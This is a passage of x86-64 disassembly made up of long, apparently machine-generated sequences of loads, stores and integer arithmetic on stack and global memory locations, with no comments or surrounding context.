mov word [0x1401e89e8], ax
mov rax, qword [0x1401e87b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb610]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xeb], al
lea rax, [rsp + 0x1680]
mov qword [rsp + 0xce48], rax
movsx eax, byte [rsp + 0x1a2]
mov rcx, qword [rsp + 0x9500]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1b9], al
movzx eax, byte [0x1401e7057]
mov byte [rsp + 0x263], al
mov rax, qword [rsp + 0xbc88]
mov rcx, qword [rsp + 0xab68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5278]
mov ecx, dword [rsp + 0x4e1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5240], eax
lea rax, [rsp + 0xb208]
mov qword [rsp + 0xce50], rax
mov rax, qword [rsp + 0x9b00]
mov rcx, qword [rsp + 0xc368]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x50e8], eax
lea rax, [rsp + 0x11cc]
mov qword [rsp + 0xce58], rax
mov rax, qword [0x1401e8870]
movzx eax, word [rax]
mov word [0x1401e8fd0], ax
mov rax, qword [rsp + 0xa298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x168]
add eax, ecx
mov rcx, qword [rsp + 0xb4a8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x155]
movzx ecx, byte [rsp + 0x81]
add eax, ecx
mov rcx, qword [rsp + 0xbf38]
mov byte [rcx], al
mov rax, qword [rsp + 0xc3b8]
movzx eax, byte [rax]
mov byte [rsp + 0x264], al
mov rax, qword [rsp + 0xb888]
mov ecx, dword [rsp + 0x5380]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51a4], eax
lea rax, [rsp + 0x9bd0]
mov qword [rsp + 0xce60], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x93d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcc78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc938]
mov rax, qword [rax]
mov qword [rsp + 0xce68], rax
mov rax, qword [rsp + 0xa9c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f8]
sub eax, ecx
mov word [rsp + 0x1420], ax
lea rax, [0x1401e703c]
mov qword [0x1401e8fd8], rax
mov rax, qword [rsp + 0xc388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc58]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13c8], ax
lea rax, [rsp + 0x1414]
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0xcd38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16e]
shl eax, cl
mov byte [rsp + 0xc0], al
mov eax, dword [rsp + 0x50bc]
mov dword [rsp + 0x5558], eax
mov rax, qword [rsp + 0xc410]
mov rcx, qword [rsp + 0xa858]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7c8], rax
mov rax, qword [rsp + 0xa468]
mov rcx, qword [rsp + 0xc590]
mov qword [rsp + 0xce78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9b20], rax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0xce80], rax
mov rax, qword [rsp + 0xacc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0xade8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcad8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8958]
mov word [rcx], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0xce88], rax
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x16bc]
add eax, ecx
mov word [rsp + 0x10e4], ax
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov byte [rsp + 0x19b], al
lea rax, [rsp + 0x5088]
mov qword [rsp + 0xce90], rax
mov rax, qword [rsp + 0xa3b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbec0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc5c0]
mov qword [rcx], rax
lea rax, [rsp + 0x501c]
mov qword [rsp + 0xce98], rax
mov rax, qword [rsp + 0xa0b8]
mov rcx, qword [rsp + 0x9358]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb3e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12dc]
add eax, ecx
mov word [rsp + 0x1698], ax
mov rax, qword [rsp + 0x9e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e70e2], al
movzx eax, byte [rsp + 0xec]
mov byte [rsp + 0x265], al
movsx eax, byte [rsp + 0x22a]
movsx ecx, byte [rsp + 0x1a2]
sub eax, ecx
mov rcx, qword [rsp + 0x9c30]
mov byte [rcx], al
lea rax, [0x1401e8ee4]
mov qword [rsp + 0xcea0], rax
movsx eax, word [rsp + 0x14a0]
movsx ecx, word [rsp + 0x1028]
add eax, ecx
mov word [rsp + 0x11f4], ax
mov rax, qword [rsp + 0xa228]
mov rax, qword [rax]
mov qword [rsp + 0xcea8], rax
mov rax, qword [rsp + 0xbb60]
mov rcx, qword [rsp + 0xa148]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5314]
mov ecx, dword [rsp + 0x521c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c18]
mov dword [rcx], eax
lea rax, [rsp + 0x5140]
mov qword [rsp + 0xceb0], rax
mov rax, qword [0x1401e8b58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1194]
shl eax, cl
mov word [0x1401e704c], ax
movsx eax, byte [rsp + 0xdf]
movsx ecx, byte [rsp + 0xa1]
sar eax, cl
mov rcx, qword [rsp + 0xa1f0]
mov byte [rcx], al
lea rax, [rsp + 0x1c2]
mov qword [rsp + 0xceb8], rax
mov rax, qword [0x1401e8878]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1010]
and eax, ecx
mov word [rsp + 0x14b4], ax
mov rax, qword [rsp + 0xc6b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb380]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1228], ax
lea rax, [rsp + 0xaea8]
mov qword [rsp + 0xcec0], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x9230]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa228]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc550]
mov eax, dword [rax]
mov dword [rsp + 0x555c], eax
mov rax, qword [rsp + 0x9f48]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d90], eax
lea rax, [rsp + 0x229]
mov qword [0x1401e8fe0], rax
movsx eax, word [rsp + 0x156c]
movsx ecx, word [rsp + 0x1448]
add eax, ecx
mov word [rsp + 0x16b4], ax
lea rax, [rsp + 0x15f8]
mov qword [rsp + 0xcec8], rax
mov rax, qword [0x1401e8ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa000]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa2b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc1c8]
movzx eax, byte [rax]
mov byte [rsp + 0x266], al
mov eax, dword [rsp + 0x5324]
mov ecx, dword [rsp + 0x4e50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x534c], eax
mov rax, qword [rsp + 0xb590]
mov rcx, qword [rsp + 0xa348]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc900], rax
mov rax, qword [rsp + 0xcac8]
mov rax, qword [rax]
mov qword [rsp + 0xced0], rax
mov rax, qword [rsp + 0xa458]
mov ecx, dword [rsp + 0x5378]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa330]
mov dword [rcx], eax
mov rax, qword [0x1401e8a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c9]
sub eax, ecx
mov byte [0x1401e708f], al
lea rax, [rsp + 0x1a1]
mov qword [rsp + 0xced8], rax
mov rax, qword [rsp + 0xb360]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5e0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9788]
mov word [rcx], ax
movzx eax, word [rsp + 0x10a0]
mov word [rsp + 0x1754], ax
movsx eax, byte [rsp + 0x257]
movsx ecx, byte [rsp + 0xc5]
xor eax, ecx
mov rcx, qword [rsp + 0xc1a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb638]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb970], rax
mov rax, qword [rsp + 0xbc80]
mov eax, dword [rax]
mov dword [rsp + 0x5560], eax
mov rax, qword [rsp + 0xa138]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9c18]
mov qword [rsp + 0xcee0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcee0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4f60], eax
lea rax, [rsp + 0x99a8]
mov qword [rsp + 0xcee8], rax
lea rax, [0x1401e700e]
mov qword [0x1401e8fe8], rax
movzx eax, byte [rsp + 0x19f]
movzx ecx, byte [rsp + 0xc9]
and eax, ecx
mov rcx, qword [rsp + 0xc488]
mov byte [rcx], al
mov rax, qword [rsp + 0x9278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1130]
sub eax, ecx
mov word [rsp + 0x1144], ax
lea rax, [0x1401e7168]
mov qword [rsp + 0xcef0], rax
mov rax, qword [rsp + 0x9788]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1060], ax
lea rax, [rsp + 0x4efc]
mov qword [rsp + 0xcef8], rax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0xa6f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a70], rax
mov rax, qword [rsp + 0xbee8]
mov rcx, qword [rsp + 0x90d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba38], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov dword [rsp + 0x5564], eax
mov rax, qword [0x1401e8d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x121]
sub eax, ecx
mov byte [0x1401e70de], al
mov rax, qword [rsp + 0xa938]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x244]
add eax, ecx
mov byte [rsp + 0xe2], al
lea rax, [rsp + 0x1168]
mov qword [rsp + 0xcf00], rax
movsx eax, word [rsp + 0x136c]
movsx ecx, word [rsp + 0x14a0]
and eax, ecx
mov word [rsp + 0x1050], ax
lea rax, [rsp + 0x1ce]
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xc3d0]
mov rcx, qword [rsp + 0xa030]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9578]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaf00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401e7004]
shl eax, cl
mov rcx, qword [rsp + 0xc4a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9738]
mov eax, dword [rax]
mov dword [rsp + 0x5568], eax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab80]
mov qword [rsp + 0xcf10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf10]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xc848]
mov qword [rcx], rax
movzx eax, byte [str._DM_b]
movzx ecx, byte [rsp + 0x1e0]
or eax, ecx
mov byte [0x1401e70e3], al
lea rax, [rsp + 0x169c]
mov qword [rsp + 0xcf18], rax
movsx eax, byte [rsp + 0xf2]
mov rcx, qword [0x1401e8bc0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xca90]
mov byte [rcx], al
movzx eax, word [rsp + 0x111c]
mov rcx, qword [rsp + 0x98e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1210], ax
movzx eax, byte [rsp + 0x21b]
mov byte [rsp + 0x267], al
mov rax, qword [rsp + 0xcbf0]
mov ecx, dword [rsp + 0x5368]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xb3a8]
mov dword [rcx], eax
lea rax, [rsp + 0xb708]
mov qword [rsp + 0xcf20], rax
mov rax, qword [rsp + 0xaa68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e70]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc928]
mov dword [rcx], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb070]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc40], rax
movzx eax, word [rsp + 0x1274]
mov rcx, qword [rsp + 0xc990]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e719c], ax
movzx eax, word [rsp + 0x16c4]
mov word [rsp + 0x1758], ax
mov rax, qword [rsp + 0xa6a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x108c]
add eax, ecx
mov word [rsp + 0x16c0], ax
lea rax, [rsp + 0x122]
mov qword [rsp + 0xcf28], rax
movsx eax, byte [rsp + 0x221]
movsx ecx, byte [rsp + 0x12d]
sub eax, ecx
mov rcx, qword [rsp + 0xb4a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc6f8]
mov rcx, qword [0x1401e7028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc0f8]
mov qword [rcx], rax
lea rax, [rsp + 0x9a40]
mov qword [rsp + 0xcf30], rax
mov eax, dword [rsp + 0x51b4]
mov ecx, dword [rsp + 0x527c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9fb0]
mov eax, dword [rax]
mov dword [rsp + 0x556c], eax
movzx eax, word [rsp + 0x1728]
movzx ecx, word [rsp + 0x1684]
add eax, ecx
mov word [rsp + 0x10d8], ax
lea rax, [rsp + 0x127]
mov qword [0x1401e8ff0], rax
lea rax, [rsp + 0x1170]
mov qword [rsp + 0xcf38], rax
movsx eax, byte [0x1401e70da]
mov rcx, qword [rsp + 0xad88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0xb380]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x169c]
xor eax, ecx
mov rcx, qword [rsp + 0x8ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x91a8]
mov rax, qword [rax]
mov qword [rsp + 0xcf40], rax
mov eax, dword [rsp + 0x5010]
movzx ecx, al
mov eax, dword [rsp + 0x4fc0]
shr eax, cl
mov dword [rsp + 0x54b4], eax
lea rax, [rsp + 0xad00]
mov qword [rsp + 0xcf48], rax
mov eax, dword [rsp + 0x51f0]
mov ecx, dword [rsp + 0x5150]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcbd0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x193]
mov rcx, qword [rsp + 0xb790]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc670]
mov byte [rcx], al
mov rax, qword [rsp + 0xadf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1444]
add eax, ecx
mov word [0x1401e8f10], ax
mov rax, qword [0x1401e8f50]
movzx eax, word [rax]
mov word [rsp + 0x175c], ax
movzx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e2], al
movzx eax, byte [rsp + 0xb1]
mov byte [rsp + 0x268], al
mov eax, dword [rsp + 0x5164]
mov ecx, dword [rsp + 0x5404]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb450]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcb40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
mov qword [rsp + 0xcf50], rax
mov rax, qword [rsp + 0xbb60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb8c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7a8], rax
mov rax, qword [rsp + 0xb440]
movzx eax, word [rax]
mov word [rsp + 0x1760], ax
movzx eax, word [rsp + 0x1440]
mov word [0x1401e8ff8], ax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov byte [rsp + 0xf2], al
lea rax, [0x1401e8908]
mov qword [rsp + 0xcf58], rax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0x176]
add eax, ecx
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x9668]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x540c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb188]
mov dword [rcx], eax
lea rax, [rsp + 0x9b20]
mov qword [rsp + 0xcf60], rax
mov eax, dword [rsp + 0x5184]
mov ecx, dword [rsp + 0x51a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce20]
mov qword [rsp + 0xcf68], rax
movsx eax, word [0x1401e7134]
mov rcx, qword [rsp + 0x9a68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f00]
mov word [rcx], ax
mov rax, qword [rsp + 0xc620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb9]
add eax, ecx
mov byte [0x1401e70de], al
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [0x1401e709f]
sar eax, cl
mov byte [rsp + 0x13c], al
lea rax, [rsp + 0x122c]
mov qword [rsp + 0xcf70], rax
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0xd9]
shl eax, cl
mov byte [rsp + 0x1c3], al
movzx eax, byte [rsp + 0x25a]
mov byte [rsp + 0x269], al
mov rax, qword [rsp + 0xa490]
mov rcx, qword [rsp + 0xca68]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca20]
mov ecx, dword [rsp + 0x4fe8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4db4], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0xcf78], rax
mov rax, qword [rsp + 0xbae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc640]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa8d8]
mov qword [rcx], rax
lea rax, [rsp + 0x246]
mov qword [0x1401e9000], rax
mov rax, qword [rsp + 0xbc20]
movzx eax, word [rax]
mov word [rsp + 0x1764], ax
movsx eax, word [rsp + 0x1504]
movsx ecx, word [rsp + 0x11cc]
sub eax, ecx
mov rcx, qword [rsp + 0xce58]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1c4]
mov rcx, qword [rsp + 0xc9f0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb2f8]
mov byte [rcx], al
lea rax, [rsp + 0x10ec]
mov qword [rsp + 0xcf80], rax
mov rax, qword [rsp + 0xb0c0]
mov rcx, qword [rsp + 0xba68]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9bf0], rax
lea rax, [rsp + 0x53e8]
mov qword [rsp + 0xcf88], rax
mov eax, dword [rsp + 0x5184]
mov ecx, dword [rsp + 0x54f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5188], eax
mov rax, qword [rsp + 0xae00]
mov rax, qword [rax]
mov qword [rsp + 0xcf90], rax
movzx eax, byte [rsp + 0x1e2]
mov rcx, qword [rsp + 0xb968]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8b80]
mov byte [rcx], al
mov rax, qword [rsp + 0xb830]
movzx eax, word [rax]
mov rcx, qword [0x1401e8ce8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1198], ax
movsx eax, word [rsp + 0x14f0]
mov rcx, qword [rsp + 0xcf58]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b8], ax
lea rax, [rsp + 0x1d2]
mov qword [rsp + 0xcf98], rax
movsx eax, byte [rsp + 0x20d]
movsx ecx, byte [0x1401e87f5]
add eax, ecx
mov byte [rsp + 0xe0], al
lea rax, [rsp + 0x53e0]
mov qword [rsp + 0xcfa0], rax
mov rax, qword [rsp + 0xb0c0]
mov rcx, qword [rsp + 0xbe18]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc8e0], rax
mov rax, qword [rsp + 0xcf48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9488]
mov qword [rsp + 0xcfa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfa8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc3d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5478]
mov dword [rsp + 0x5570], eax
mov rax, qword [rsp + 0xacd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6c0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e71cc], ax
mov rax, qword [rsp + 0x9550]
movsx eax, byte [rax]
mov rcx, qword [0x1401e87b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xf2], al
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x26a], al
movsx eax, word [rsp + 0x1304]
movsx ecx, word [rsp + 0x15a8]
and eax, ecx
mov word [rsp + 0x1360], ax
mov rax, qword [rsp + 0x9cb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc48]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa818]
mov word [rcx], ax
lea rax, [rsp + 0xb108]
mov qword [rsp + 0xcfb0], rax
mov rax, qword [rsp + 0x9a90]
mov rcx, qword [rsp + 0xbd88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9498]
mov dword [rcx], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xcfb8], rax
mov rax, qword [rsp + 0x9cd8]
mov rcx, qword [rsp + 0xab18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5280], eax
movzx eax, byte [rsp + 0xb3]
mov rcx, qword [rsp + 0xa698]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e70d2], al
mov rax, qword [0x1401e8eb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c40]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1730], ax
movzx eax, word [rsp + 0x11f0]
mov word [rsp + 0x1768], ax
mov rax, qword [rsp + 0x9660]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc670]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfb], al
lea rax, [rsp + 0x12dc]
mov qword [rsp + 0xcfc0], rax
mov rax, qword [rsp + 0xa9f8]
mov rcx, qword [rsp + 0xa400]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaab8], rax
lea rax, [rsp + 0x5470]
mov qword [rsp + 0xcfc8], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5448]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcfa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa208]
mov rcx, qword [rsp + 0xb3f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce40]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x124]
movzx ecx, byte [0x1401e70d2]
or eax, ecx
mov byte [0x1401e87a3], al
mov rax, qword [rsp + 0xa078]
movzx eax, byte [rax]
mov byte [rsp + 0x26b], al
movzx eax, byte [rsp + 0x20f]
movzx ecx, byte [rsp + 0x15b]
xor eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov byte [rcx], al
lea rax, [rsp + 0x18a]
mov qword [rsp + 0xcfd0], rax
movsx eax, word [0x1401e70f4]
mov rcx, qword [rsp + 0xad10]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb380]
mov word [rcx], ax
mov rax, qword [rsp + 0xc5e8]
movzx ecx, al
mov rax, qword [rsp + 0xc610]
shr rax, cl
mov rcx, qword [rsp + 0x99d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc40]
mov qword [rsp + 0xcfd8], rax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov ecx, dword [0x1401e7004]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5010], eax
mov rax, qword [rsp + 0xa9e8]
mov eax, dword [rax]
mov dword [rsp + 0x5574], eax
movzx eax, word [rsp + 0x125c]
movzx ecx, word [rsp + 0x1514]
add eax, ecx
mov word [0x1401e71d0], ax
movsx eax, byte [0x1401e87f3]
mov rcx, qword [rsp + 0xa608]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x266], al
movsx eax, word [rsp + 0x1504]
movsx ecx, word [rsp + 0x1468]
sub eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [0x1401e8fe0]
movzx eax, byte [rax]
mov byte [rsp + 0x26c], al
movzx eax, word [rsp + 0x15e4]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa818]
mov word [rcx], ax
lea rax, [rsp + 0x543c]
mov qword [rsp + 0xcfe0], rax
mov eax, dword [0x1401e7004]
mov ecx, dword [rsp + 0x53ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x501c], eax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xa368]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa058], rax
lea rax, [rsp + 0x1cc]
mov qword [0x1401e9008], rax
mov rax, qword [0x1401e8dd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov byte [rsp + 0x243], al
lea rax, [rsp + 0x1574]
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0xc318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1450]
sub eax, ecx
mov word [rsp + 0x12b8], ax
movzx eax, word [rsp + 0x1718]
mov word [rsp + 0x176c], ax
mov rax, qword [rsp + 0x95c0]
mov rcx, qword [rsp + 0x8cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x92f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb6b8]
mov rcx, qword [rsp + 0xcb38]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f98], rax
mov rax, qword [rsp + 0xa4e8]
mov eax, dword [rax]
mov dword [rsp + 0x5578], eax
mov rax, qword [rsp + 0xc570]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa240]
shr rax, cl
mov qword [rsp + 0xc9e0], rax
movzx eax, byte [rsp + 0x142]
mov byte [rsp + 0x26d], al
movsx eax, word [0x1401e71c8]
mov rcx, qword [rsp + 0xabb8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401e8fc8]
mov word [rcx], ax
movzx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0x9828]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc1f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x24f]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1cb], al
movzx eax, byte [rsp + 0x24a]
mov byte [rsp + 0x26e], al
mov rax, qword [rsp + 0x96a8]
mov rcx, qword [rsp + 0xc5a8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x53fc], eax
mov rax, qword [rsp + 0xa308]
mov qword [rsp + 0xcff8], rax
mov rax, qword [rsp + 0x9178]
mov eax, dword [rax]
mov ecx, dword [0x1401e7004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5110], eax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x9768]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa770]
mov qword [rcx], rax
lea rax, [0x1401e70df]
mov qword [rsp + 0xd000], rax
movsx eax, word [rsp + 0x1168]
movsx ecx, word [rsp + 0x11a4]
sub eax, ecx
mov word [0x1401e8790], ax
mov rax, qword [rsp + 0x9d28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc2]
sub eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x16ac]
mov qword [rsp + 0xd008], rax
mov rax, qword [rsp + 0xba30]
movzx eax, word [rax]
